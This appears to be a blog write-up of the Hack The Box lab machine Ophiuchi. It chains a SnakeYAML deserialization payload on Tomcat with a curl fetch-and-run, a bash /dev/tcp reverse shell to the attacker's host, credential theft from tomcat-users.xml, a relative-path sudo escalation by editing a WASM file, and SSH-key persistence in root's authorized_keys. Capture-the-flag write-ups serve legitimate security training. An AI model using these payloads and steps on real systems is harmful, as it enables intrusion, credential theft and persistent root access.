Post

HTB Ophiuchi Writeup

INFO

Machine IP = 10.10.10.227
OS = Linux
Level = MEDIUM
Points = 30

Write the IP of the machine to your /etc/hosts file

1
echo "10.10.10.227 ophiuchi.htb" >> /etc/hosts

SCANNING

1
nmap -sC -sV 10.10.10.227 -oN ophiuchi 

ENUMERATION

Nmap:

1
2
3
4
5
6
7
8
9
PORT      STATE    SERVICE       VERSION
22/tcp    open     ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
912/tcp   filtered apex-mesh
1247/tcp  filtered visionpyramid
2007/tcp  filtered dectalk
8080/tcp  open     http          Apache Tomcat 9.0.38
|_http-title: Parse YAML
49159/tcp filtered unknown

Port 8080 - Apache tomcat server:

YAML is a human-readable data-serialization language. It is commonly used for configuration files and in applications where data is being stored or transmitted. References wiki

We can use this deserialization vulnerablity to get remote code execution. The original paper is to be found at mbechler And the YAML payload we are going to use is found at artsploit.

SnakeYAML deserialization exploit

We clone the repo and edit AwesomeScriptEngineFactory.java file to execute are desired commands.

1
git clone https://github.com/artsploit/yaml-payload

We can execute system commands useing the Runtime.getRuntime().exec(). We write a bash script revshell.sh as follows

1
2
#!/bin/sh
bash -i >& /dev/tcp/10.10.14.52/8888 0>&1

Next we insert the commands to be executed on target machine. We use curl to get the revshell.sh from our machine and execute it.

1
2
3
4
5
6
7
8
9
10
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("curl http://10.10.14.52/revshell.sh  -o /tmp/revshell.sh ");
            Runtime.getRuntime().exec("bash /tmp/revshell.sh ");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

Now as per the instructions, we use the following commands to get our payload jar file

1
2
3
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Now, we have our payload jar file. We start a python web server at port 80

1
python3 -m http.server 80

Open a nc listener at port 8888 to get our reverse shell

1
nc -lnvp 8888

And insert the following YAML into the parser to get RCE. We also .

1
2
3
4
5
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://10.10.14.52/yaml-payload.jar"]
  ]]
]

User

Going to the home directory, we find a user named admin.

I found the user creds in the file

1
2
cat /opt/tomcat/conf/tomcat-users.xml

We find the following in the file:

1
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Credentials found:

1
2
User: admin
Password: whythereisalimit

We can now ssh into the machine as suer admin using the obtained creds.

1
2
3
ssh [email protected]

admin@ophiuchi:~$ cat user.txt 

Root

Check out what sudo capabilities for our user admin using sudo -l:

1
2
3
4
5
6
7
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

So we can run

1
/usr/bin/go run /opt/wasm-functions/index.go

with root privileges. Let’s check out the file. We get the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package main

import (
        "fmt"
        wasm "github.com/wasmerio/wasmer-go/wasmer"
        "os/exec"
        "log"
)


func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {          <==========================================
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {
                        log.Fatal(err)
                }
                fmt.Println(string(out))
        }
}

Here, we see that, functions and variables ar imported from the main.wasm file and checking the value of the varibale f, if it equals 1, we get ready to deploy and execute /bin/sh deploy.sh.

What’s notable here is that absolute path is not used for main.wasm and the deploy.sh files.
So we can manipulate these. These files will be read from our current working directory, from where we run the index.go file.

We make our working directory in tmp and copy over the main.wasmfile.

1
2
3
4
cd tmp
mkdir work && cd work

cp /opt/wasm-functions/main.wasm ./

We write our own deploy.sh file that echos out the id of the user.

1
2
3
#!/bin/sh

echo $(id)

We got this after run it

1
uid=0(root) gid=0(root) groups=0(root)

Now, we run the following as sudo

1
sudo /usr/bin/go run /opt/wasm-functions/index.go

We get the error Not ready to deploy. So the value of f is not 1, which is read from the wasm file.

Wasm is short for WebAssembly. WebAssembly is an open standard that defines a portable binary-code format for executable programs, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such programs and their host environment.

The text readable format of WASM binary is WAT(Web Assembly Text). We can manipulate the value of f editing the wasm file in this format.

We install the toolsuit webassembly We have 2 binaries wasm2wat and wat2wasm that we can use.

We transfer the main.wasm file from the target machine to our local machine using nc

1
2
cat main.wasm | nc {your-ip} {your-port}   (on target)
nc -lnvp {your-port} > main.wasm           (on local)

We convert the wasm to wat and get the following

1
2
wasm2wat main.wasm > main.wat
cat main.wat
1
2
3
4
5
6
7
8
9
10
11
12
13
(module
  (type (;0;) (func (result i32)))
  (func $info (type 0) (result i32)
    i32.const 0)      <=======================================
  (table (;0;) 1 1 funcref)
  (memory (;0;) 16)
  (global (;0;) (mut i32) (i32.const 1048576))
  (global (;1;) i32 (i32.const 1048576))
  (global (;2;) i32 (i32.const 1048576))
  (export "memory" (memory 0))
  (export "info" (func $info))
  (export "__data_end" (global 1))
  (export "__heap_base" (global 2)))

Here we see that the value of f is a constant 0, we change that to 1, our required value.

1
2
[-]    i32.const 0)
[+]    i32.const 1)

Now we conver the wat back to nasm and move it to our target machine working directory.

1
wat2wasm main.wat
1
scp main.wasm [email protected]:/tmp/work

Now, we run the sudo command again. And this time we get command execution as root

1
2
Ready to deploy
uid=0(root) gid=0(root) groups=0(root)

We get our id_rsa.pub using ssh-keygen and paste it to the authorized_keys file at /root/.ssh/ using the deploy.sh fileto be able to SSH into the machine as root.

1
2
3
4
#!/bin/sh

echo $(id)
echo "ssh-rsa *****= root@kali" >> /root/.ssh/authorized_keys

Now we can ssh into root and get our root.txt file

1
2
ssh [email protected]
cat root.txt

Hi there 👋 Support me!

Life is an echo—what you send out comes back.

Donate

This post is licensed under CC BY 4.0 by the author.